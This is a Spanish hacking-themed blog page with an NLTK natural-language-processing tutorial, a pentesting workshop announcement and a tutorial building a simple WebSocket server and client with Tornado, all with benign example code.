Este nuevo libro está dedicado a esas personas que viven la informática y el hacking como algo muy personal y cercano, lo podrás ver desde la primera página.

“Este libro te lo quiero dedicar ti, herman@ hacker. Espero que algún día se valore tu esfuerzo y dedicación, que se reconozcan las virtudes que te hacen ser quien eres y que por fin se entienda tu filosofía de vida.
¿Realmente está mal aquello que te da claridad, te permite ver las cosas desde otras perspectivas y expande tu mente?
Adelante! aún te queda mucho por recorrer y aprender.”

Espero que sea de tu agrado y que te diviertas tanto leyéndolo como yo escribiéndolo.

Saludos y Happy Hack!
Adastra.

Procesamiento del lenguaje natural con NLTK para Ingeniería social automatizada

febrero 17, 2015 3 comentarios

En una entrada anterior os hablaba de un proyecto que llevo estudiando desde hace algún tiempo para el análisis de emociones, dicho proyecto es “wefeelfine” y tal como os comentaba, cuenta con una API Rest que permite realizar varios tipos de consultas para obtener un listado de sentimientos recolectados en Internet. La recolección de datos que realiza dicha plataforma se basa en la ejecución de varios procesos de crawling para extraer y almacenar información de múltiples sitios en Internet, sin embargo, una de las cosas que más me ha llamado la atención es el procesamiento de los textos y las funciones utilizadas para determinar la polaridad de dichas palabras. La complejidad de un proceso de “stemming” (derivación y combinaciones de palabras) sobre el lenguaje natural no es una tarea sencilla, especialmente cuando hablamos de las características propias de cada lenguaje, al final ocurre que solamente nos podemos centrar en un conjunto limitado de lenguajes, tal como ocurre en “wefeelfine” que solo procesa los textos escritos en ingles y en castellano, aunque este último con bastantes deficiencias. Si estás pensando en desarrollar un proceso de minería de datos sobre alguna red social como Twitter, Facebook o cualquier otro sitio web en Internet, lo más probable es que te interese también extraer información útil a la que posteriormente le puedas aplicar algún tipo de análisis estadístico sobre marcas, tendencias o de carácter histórico/evolutivo. En cualquier caso, es necesario aplicar técnicas de “Procesamiento del lenguaje Natural” o NLP (Natural Lenguage Processing) por sus siglas en ingles, las cuales permiten aplicar patrones a un texto concreto y extraer información de interés (no confundir con NLP: Neuro-Linguistic Programming). Antes de continuar, viene bien explicar en qué consiste NLP y cómo se puede utilizar la librería NLTK en Python.

¿Qué es NLP?

Se trata de un conjunto de técnicas que permiten el análisis y manipulación del lenguaje natural. Dada la complejidad intrínseca que acompaña cualquier proceso de NLP, muchas de las técnicas automatizadas están relacionadas con el uso de la IA (Inteligencia Artificial) y las ciencias cognitivas. Para aplicar las técnicas más comunes en NLP, la librería NLTK (Natural Language Tool Kit) permite que cualquier programa escrito en lenguaje Python pueda invocar a un amplio conjunto de algoritmos que sustentan las principales técnicas de NLP para la generación de métricas, frecuencia de términos, polaridad negativa/positiva de frases y textos, entre otras muchas técnicas.
Existen algunos
términos comunes en NLP que se deben comprender antes de poder aplicar cualquier técnica y entender los resultados que arrojan, dichos términos resultarán de lo más lógicos, pero si no se tienen en cuenta a la hora de programar, pueden resultar confusas las funciones y resultados arrojados por NLTK.

Token: Se trata de la unidad más simple de procesamiento y representa una palabra en el texto.
Sentencia: Secuencia ordenada de tokens.
Tokenización: Se trata del proceso de segmentar una sentencia en cada uno de los tokens que la componen. Aunque puede ser un proceso simple para textos escritos en algunas lenguas, especialmente en el caso de las románicas cuyo token separador es un espacio, en otras lenguas como las altaicas, extraer los tokens de una sentencia es un proceso mucho más complejo debido a la sintaxis y semántica de los escritos en dichas lenguas.
Corpus: Cuerpo del mensaje que se encuentra compuesto por un conjunto de sentencias.
Part-of-speech (POS): Dependiendo de la semántica del lenguaje, cada token que compone una sentencia puede ser un verbo, un adjetivo, un pronombre, un articulo, etc. Un POS es simplemente una clasificación para cada token dentro de una sentencia, de esta forma es posible identificar el significado de cada token y las partes clave de cada sentencia.
Árbol: Todos los textos están compuestos por varias sentencias y cada sentencia tiene varios tokens con sus respectivos POS. Un árbol parseado incluye cada una de las dependencias de las sentencias y cada parte del texto. Es una forma de ordenar cada uno de los elementos del “corpus” de una forma que sea fácil de consultar.

Ahora que se ha expuesto la terminología básica, lo siguiente es conocer las principales técnicas definidas en un proceso NLP.

Etiquetado de POS: Una de las principales labores en un proceso de NLP, es identificar cada una una de las sentencias de un texto y clasificar cada uno de los tokens con sus correspondientes POS. Un “POS Tagger” es una rutina que se encarga de crear un diccionario con cada uno de dichos tokens y sus correspondientes POS. Por ejemplo, si la sentencia “El coche es rojo” es procesada por un POS Tagger el resultado es el siguiente: {“El” : AT , “coche” : NN , “es” : VB, “rojo” : JJ}
Donde cada POS asume los siguientes valores:
AT : Artículo
NN : Sustantivo
VB: Verbo
JJ: Adjetivo.

Parsers:
Un parser se encarga de producir un árbol de tokens con sus correspondientes POS partiendo de una sentencia determinada. Muchos de estos parsers depende un POS Tagger antes de poder generar un árbol.

Morfología:
Consiste en el proceso de catalogar cada token de una sentencia y extraer sus “morfemas” y “
raíces” para posterior análisis. Para comprender lo anterior, es necesario saber que cada token tiene una morfología que determina la estructura interna de la palabra. La morfología de una palabra puede dar lugar a nuevas palabras a partir de su morfema base y en todo caso, es importante diferenciar la morfología de la sintaxis de una palabra, ya que la morfología intenta determinar la estructura interna de las palabras, mientras que la sintaxis explica las normas para crear oraciones y textos.

Traductor:
Se trata de unas las principales aplicaciones de NLP, en la que partiendo de un texto escrito en un lenguaje determinado, es posible conseguir su traducción en otro lenguaje. Es una tarea compleja y requiere que el texto origen se encuentre correctamente
construido y cada bloque semántico del “corpus” se encuentre perfectamente redactado para conseguir una traducción legible en otro lenguaje. Google Traductor es uno de los servicios más completos y mejor implementados (que conozco) que utiliza parsers y POS Taggers avanzados para conseguir la traducción más exacta posible.

Instalación y uso básico de NLTK

La instalación del proyecto NLTK puede realizarse fácilmente utilizando PIP o easy_install.

sudo pip install -U nltk

Una dependencia opcional que también puede instalarse con PIP es numpy. Para verificar que ha quedado correctamente instalada, basta con importar el módulo ntlk y si no se aprecia ningún error, se puede asumir que el proceso de instalación ha ido bien.

Por otro lado, además de la librería también es necesario instalar una serie de ficheros y diccionarios con patrones para varios tipos de estructuras gramaticales llamados “corporas”, dichos ficheros se instalan de forma independiente por medio de un gestor de descargas que puede iniciarse utilizando el modulo nltk

>python
>>>import nltk
>>>nltk.download()


Invocando a “download” se abre una ventana en la que se pueden gestionar todos los ficheros “corpora” en diferentes
categorías. Si es la primera vez que se utiliza nltk, se realizará la descarga de dichos ficheros.
Los corpus principal
es que se suelen utilizar en el procesamiento de texto son conocidos como “gutenberg”, el cual incluye una selección de 18 textos del proyecto Gutenberg (http://www.gutenberg.org/) y contiene más de 1.5 millones de palabras. Para consultar los textos de gutenberg incluidos en el corpus de NLTK, se pueden ejecutar las siguientes instrucciones.

>>>from nltk.corpus import gutenberg

>>>print gutenberg.fileids()

['austen-emma.txt',

'austen-persuasion.txt',

'austen-sense.txt',

'bible-kjv.txt',

'blake-poems.txt',

'bryant-stories.txt',

'burgess-busterbrown.txt',

'carroll-alice.txt',

'chesterton-ball.txt',

'chesterton-brown.txt',

'chesterton-thursday.txt',

'edgeworth-parents.txt',

'melville-moby_dick.txt',

'milton-paradise.txt',

'shakespeare-caesar.txt',

'shakespeare-hamlet.txt',

'shakespeare-macbeth.txt',

'whitman-leaves.txt']

Ahora es el momento de comenzar a utilizar la librería y para ello, se puede utilizar el siguiente script, el cual se encarga de pintar por pantalla cada uno de los textos del proyecto gutenberg, el número de caracteres, el número de tokens, el número de sentencias y el número de veces que un item del vocabulario aparece en una sentencia.

from nltk.corpus import gutenberg
for fileid in gutenberg.fileids():
    num_chars = len(gutenberg.raw(fileid))
    num_tokens = len(gutenberg.words(fileid))
    num_sents = len(gutenberg.sents(fileid))
    num_vocab = len(set(w.lower() for w in gutenberg.words(fileid)))
    print str(num_chars) + &quot; - &quot; + str(num_tokens) + &quot; - &quot; + str(num_sents) + &quot; - &quot; + str(num_vocab)

Aunque se ha utilizado un corpus que se encuentra implementado en NLTK, también es posible utilizar uno propio y de hecho, es lo más común para realizar diferentes tipos de análisis sobre los datos de un texto. Para ello se pueden utilizar las clases PlaintextCorpusReader o BracketParseCorpusReader.

from nltk.corpus import PlaintextCorpusReader
import nltk
wordlists = PlaintextCorpusReader(&quot;/home/adastra/Escritorio/textos&quot;, '.*')
wordlists.words('prueba.txt')
print &quot;Sentences: &quot;+str(len(wordlists.sents()))
for sentence in wordlists.sents():
    tokens = nltk.word_tokenize(str(sentence))
    tagged_tokens = nltk.pos_tag(tokens)
    verbs = 0
    for tagged in tagged_tokens:
        token, tag = tagged
        if tag == 'VBP' or tag == 'VB':
            verbs += 1
    print &quot;Tokens: &quot;+str(len(tokens)) + &quot; - Verbs: &quot;+str(verbs)&lt;/td&gt;

El script anterior lee el fichero “prueba.txt” que se encuentra en el directorio “/home/adastra/Escritorio/textos” y se encarga de contar el número de sentencias, el número de tokens por sentencia y los verbos de cada sentencia, los cuales están marcados con el tag “VBP” o “VB”.

Estas son solamente algunas de las características incluidas en NLTK y me dejo muchas, muchísimas cosas que se pueden hacer con esta librería y que entran en el campo de la lingüística y el análisis de datos.
Antes de terminar con este articulo, os indico brevemente un proyecto que utilizan NLTK y que cuenta con algunos servicios que pueden utilizarse por medio de peticiones HTTP planas. Dicho proyecto es “text-processing”. Desde la URL http://text-processing.com/demo/ pueden apreciarse 4 ejemplos del procesamiento de texto en lenguaje natural, siendo el más interesante, desde mi punto de vista, el que corresponde con el análisis de sentimientos. Como comentaba antes, dicho servicio se puede invocar directamente por medio de una petición HTTP utilizando el método POST, algo que se puede hacer con cualquier lenguaje de programación e infinidad de herramientas, entre las que se incluyen wget y curl.

>curl -d “text=spain is different” http://text-processing.com/api/sentiment/

{“probability”: {“neg”: 0.38781650900239895, “neutral”: 0.59783687451926548, “pos”: 0.61218349099760105}, “label”: “neutral”}

Como se puede apreciar, el parámetro “text” es el que incluye el texto que la plataforma debe procesar y el resultado es una estructura JSON con el porcentaje que indica qué tan “negativa”, “positiva” o “neutral” es la frase. En este caso, se ha enviado el texto “spain is different” y como se puede apreciar en el resultado, la plataforma determina que el texto es neutral, aunque el porcentaje de “positivismo” es del 61% frente a un 38% de “negatividad”. Al parecer, ni la plataforma, ni NLTK son capaces de distinguir la ironía.

Todo esto puede ser muy interesante para procesos automatizados de ingeniería social que permitan recolectar información de sitios en internet como Twitter o Facebook y determinen la polaridad de los mensajes de ciertas cuentas y además, determinar si las condiciones climáticas en la hora y lugar desde donde se publico el tweet han podido tener algún tipo de influencia.
Esta y otras ideas, se desarrollarán en mayor detalle en próximos artículos.

Un saludo y Happy Hack!
Adastra.

RootedLab: Utilizando Python para Hacking y Pentesting

febrero 10, 2015 Deja un comentario

El próximo lunes 2 de marzo estaré en las aulas de MSL Formación dando un RootedLab sobre Python. El temario y otros detalles adicionales los podéis ver en el siguiente enlace: https://www.rootedcon.com/rlab30-utilizando-python-para-hacking-y-pentesting/. Además, los asistentes recibirán el libro de “Python para Pentesters” que se ha publicado por la editorial 0xWORD hace algunos meses. El taller está enfocado a todos aquellos que les gusta crear herramientas y desarrollar sus propios scripts para automatizar tareas, será un taller con varios ejemplos sobre el uso de Python y podrás ver su uso practico a la hora de realizar tareas comunes de hacking/pentesting.
Como podéis ver en el temario, intentaré cubrir varios temas, desde la recolección automatizada de información, hasta el acceso a redes anónimas como TOR. Algunas de las cosas que veremos en el taller incluyen:

– Recolección de información en fuentes abiertas.

– Análisis de metadatos en documentos e imágenes.

– Consultas automatizadas contra Shodan

– Geolocalización de servidores.

– Tipos de escaneos con Python y Scapy

– Uso de scrapy para procesos de scrapping contra aplicaciones web.

– Creación de PyCommands y PyHooks en Immunity Debugger.

– Depuración de software con PyDBG.

– Introducción a la arquitectura de TOR y análisis de repetidores con Stem y TxTorcon.

– Creación de servicios ocultos en TOR programáticamente.

– Pentesting de servicios ocultos en TOR con Python.

Por otro lado, si te gusta Python pero no eres programador, no te preocupes, estoy creando los contenidos del curso de tal forma que los pueda aprovechar cualquiera, tanto pentesters como desarrolladores de software.
Para el día señalado llevaré una máquina virtual para hacer algunas practicas y además, también estoy creando un par de workspaces en Cloud9 (https://c9.io/) para que podamos desarrollar el curso “en la nube” y todos los asistentes tengáis acceso al contenido desde cualquier navegador en Internet (menos IE). Lo bueno que tiene Cloud9 es que dentro de cada workspace tienes un sistema Linux completamente funcional, con una terminal en la que vas a poder instalar software y ejecutar cualquier tipo de comando (contenedores con Docker). Actualmente no conozco ninguna solución libre en la nube que sea tan completa, por ese motivo y que también porque es posible el trabajo colaborativo por medio de workspaces compartidos, C9 será la principal herramienta que se utilizará en el taller, por ese motivo, si estas pensando en asistir te recomiendo que te crees una cuenta, es un proceso muy fácil y rápido :-). Si lo que quieres es llevar tu ordenador personal, también está bien, te ayudaré a instalar y ejecutar los scripts que vamos a utilizar durante el curso.

Estoy creando contenidos que seguro que os van a venir bien para sacarle el máximo provecho a vuestra inversión, por ese motivo explicaré cosas que no se encuentran incluidas en el libro de Python para Pentesters ni tampoco en la serie de vídeos sobre Hacking con Python, habrá sorpresas que espero que sean de vuestro agrado. :-)

En el caso de que no te guste Python (por el motivo que sea) tienes otros RootedLabs para todos los gustos:

– Vigilando Internet: Procesando información OSINT en tiempo real (https://www.rootedcon.com/rlab31-vigilando-internet-procesando-informacion-osint-en-tiempo-real/)

– Metasploit Lab: Pentesting https://www.rootedcon.com/rlab33-metasploit-lab-pentesting/

– Test de intrusión interno: https://www.rootedcon.com/rlab36-test-de-intrusion-interno/

– Técnicas de ataque sobre clientes Wi-Fi: https://www.rootedcon.com/rlab38-tecnicas-de-ataque-sobre-clientes-wi-fi/

Además, si te registras en tres talleres te llevas una entrada gratuita para asistir a la Rooted de este año. Toda la información la encontrarás en la página web oficial de la Rooted y las instrucciones necesarias para registrarte a cualquiera de los talleres. https://www.rootedcon.com/rootedlabs/

Allí nos vemos!

Un Saludo y Happy Hack!

Adastra.

Implementando WebSockets con Tornado

enero 29, 2015 Deja un comentario

En un articulo anterior he hablado sobre la librería Tornado y cómo se puede utilizar para implementar servidores y clientes TCP asíncronos. Además, también he hablado sobre algunas de las vulnerabilidades más comunes en WebSockets, una de las características más interesantes en la especificación HTML5. En esta ocasión veremos cómo utilizar los módulos disponibles en Tornado para crear un servidor web básico que soporte WebSockets para poder realizar pruebas de concepto rápidas y comprender el comportamiento tanto en clientes como servidores de los websockets.

Tornado es una librería que solamente se encuentra disponible para máquinas basadas en Unix, por este motivo, en un próximo articulo hablaré sobre otra implementación independiente de plataforma basada en Java llamada websocket4j. Otra buena solución cuando queremos realizar pruebas con un sistema basado en Windows.

  1. Implementación de un cliente utilizando la API de WebSockets

Antes de comenzar a implementar el servidor, vamos a comenzar creando un cliente básico que servirá posteriormente para probar cualquier implementación de un servidor con WebSockets. Para implementar un cliente, basta con utilizar la API en Javascript que se encuentra habilitada en prácticamente todos los navegadores modernos que soportan HTML5, como es el caso de Firefox, Opera o Chrome.

test.html

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
    <script type="text/javascript">
        function WebSocketTest() {
                var ws = new WebSocket("ws://localhost:8888/ws?Id=123456789&name=Adastra&continue=Yes");
        if (ws != null && ws.readyState == WebSocket.OPEN) {
          ws.send("Data from the client to the server!");
        }
                ws.onopen = function() {
                    ws.send("Opening connection!");
                };
                ws.onmessage = function (evt) { 
                    var received_msg = evt.data;
                    alert("Message received... " + received_msg);
                };
                ws.onclose = function() { 
                    alert("Connection is closed...");
                };
        }
        </script>
    </head>
    <body>
        <a href="javascript:WebSocketTest()">Run WebSocket</a>
    </body>
</html>

En la página HTML se puede apreciar que la función “WebSocketTest” contiene todos los elementos necesarios para establecer una comunicación con el servidor web y posteriormente, enviar y recibir mensajes de forma asíncrona. Esto último es lo que hace tan interesantes los WebSockets, ya que después de establecer el handshake, tanto cliente como servidor pueden enviarse mensajes sin necesidad de esperar a que la otra parte conteste y el servidor, puede enviar datos sin necesidad de que exista una petición previa por parte del cliente.

Ahora bien, después de tener preparada la pieza de código correspondiente al cliente, lo siguiente consistirá en crear un servidor que se encargue de procesar las peticiones y manejar todas las conexiones utilizando el protocolo de WebSockets.

  1. Implementación del un servidor utilizando la API de WebSockets y la librería Tornado

Como comentaba anteriormente, Tornado cuenta con varias clases y funciones que permiten crear diversos tipos de elementos de red, tanto síncronos como asíncronos. En este caso concreto nos centraremos en el módulo que permite la creación de servidores y aplicaciones web con Tornado. Esto será útil para realizar pruebas de concepto y entender el funcionamiento de ciertas características propias en entornos web.
El siguiente programa permitirá la creación de un servidor web básico utilizando Tornado, el cual aceptará conexiones en HTTP normales si el usuario solicita el recurso “/” y conexiones utilizando el protocolo de WebSockets si el usuario solicita el recurso “/ws”.

serverTornado.py

</pre>
<pre>import tornado.ioloop
import tornado.web
import tornado.websocket
from tornado.options import define, options, parse_command_line
class Client:
    def __init__(self, clientId, name, cont, connection):
        self.id = clientId
        self.name = name
        self.cont = cont
        self.connection = connection 

clients = []
class IndexHandler(tornado.web.RequestHandler):
    def get(self):
        self.render("test.html")

class WebSocketHandler(tornado.websocket.WebSocketHandler):
    def open(self, *args):
        self.id = self.get_argument("Id")
        self.name = self.get_argument("name")
        self.cont = self.get_argument("continue")
        newclient = True
        for client in clients:
            if client.id == self.id:
                client.connection.write_message("Hello Again %s !" %(client.name))
                newclient = False
                break
        if newclient:
            clientRef = Client(self.id, self.name, self.cont, self)
            clients.append(clientRef)
            self.write_message("Hello %s !" %(self.name))
           

    def on_message(self, message):        
        for client in clients:
            if client.id == self.id:
                print "Message from %s received : %s" % (client.name, message)
    
      
    def on_close(self):
        for client in clients:
            if self.id == client.id:
                clients.remove(client)
                break

define("port", default=8888, help="run on the given port", type=int)
app = tornado.web.Application([
    (r'/', IndexHandler),
    (r'/ws', WebSocketHandler),
])

if __name__ == '__main__':
    parse_command_line()
    app.listen(options.port)
    tornado.ioloop.IOLoop.instance().start()

Los elementos más importantes del programa anterior son los siguientes:
– Objeto del tipo “
tornado.web.Application” el cual se encarga de definir las URI disponibles para el servidor web. En este caso concreto, se ha definido que el usuario podrá acceder a la ruta “/” y “/ws”. Si el usuario solicita el recurso “/” el servidor se encargará de ejecutar el handler “IndexHandler” y si el usuario solicita el recurso “/ws” el servidor se encargará de ejecutar el handler “WebSocketHandler”.

– IndexHandler: Clase que hereda de la clase “tornado.web.RequestHandler” y que se encarga de procesar las peticiones HTTP realizadas por los clientes que emplean el método GET. En este caso, la case se encarga simplemente de responder al cliente con la página “test.html”, la cual incluye el contenido que se ha explicado anteriormente en el la primera parte de este articulo, es decir, la página HTML con los elementos necesarios para interactuar con el servidor web.

– WebSocketHandler: Clase que hereda de la clase “tornado.web.WebSocketHandler” y que se encarga de procesar las peticiones entrantes que utilicen el protocolo de WebSockets. La clase incluye los métodos “open”, “on_message” y “on_close”, los cuales son invocados automáticamente cuando se abre una conexión, se recibe un mensaje y se cierra una conexión existente, respectivamente.

– Finalmente, la definición propiamente dicha del servidor web viene dada por una instancia de la clase “tornado.ioloop.IOLoop”, la cual se encarga de crear un hilo de ejecución que se mantendrá en funcionamiento de forma indefinida y que utilizará las opciones por línea de comandos que se han definido por medio de la función “tornado.options.define”.

Con todos lo anterior, ahora es posible ejecutar el servidor web y probar los métodos de los dos handlers definidos.

>python serverTornado.py

Si el usuario solicita el recurso “/”, el servidor se encargará de responder con la página “test.html” tal como se enseña en la siguiente imagen.

En enlace que se puede ver en la imagen, se encarga de invocar a una función en Javascript que permite interactuar con el servidor web y enviar mensajes utilizando el protocolo WebSockets, tal como se puede apreciar en la siguiente imagen.

Se trata de un ejemplo muy simple y que no solo permite conocer cómo funcionan los websockets, sino que también explica como utilizar Tornado para crear un servidor que los soporte. No obstante, tal como mencionaba anteriormente, Tornado solamente funciona para sistemas basados en Unix, con lo cual, en el próximo articulo hablaré sobre otra librería basada en Java llamada websockets4j.

Un Saludo y Happy Hack!
Adastra.

Seguir

Recibe cada nueva publicación en tu buzón de correo electrónico.

Únete a otros 1.545 seguidores

A %d blogueros les gusta esto: